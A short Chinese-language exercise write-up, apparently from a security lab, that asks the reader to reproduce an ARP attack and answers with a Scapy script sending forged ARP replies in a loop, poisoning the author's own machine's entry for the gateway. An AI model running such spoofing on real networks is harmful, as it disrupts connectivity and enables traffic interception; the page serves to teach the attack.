Skip to main content

🏴 自下而上的窃听攻击

题目

复现一次 ARP 攻击。

题解

自己攻击自己!

import time

from scapy.all import (
getmacbyip,
ARP,
Ether,
sendp
)


my_ip = "192.168.1.106"
gateway_ip = "192.168.1.1"
my_mac = getmacbyip(my_ip)
gateway_mac = getmacbyip(gateway_ip)


pkt = Ether(src=my_mac, dst=my_mac) / ARP(op=2, hwsrc="11:11:11:11:11:11", psrc=gateway_ip, hwdst=my_mac, pdst=my_ip)

while True:
sendp(pkt)
time.sleep(2)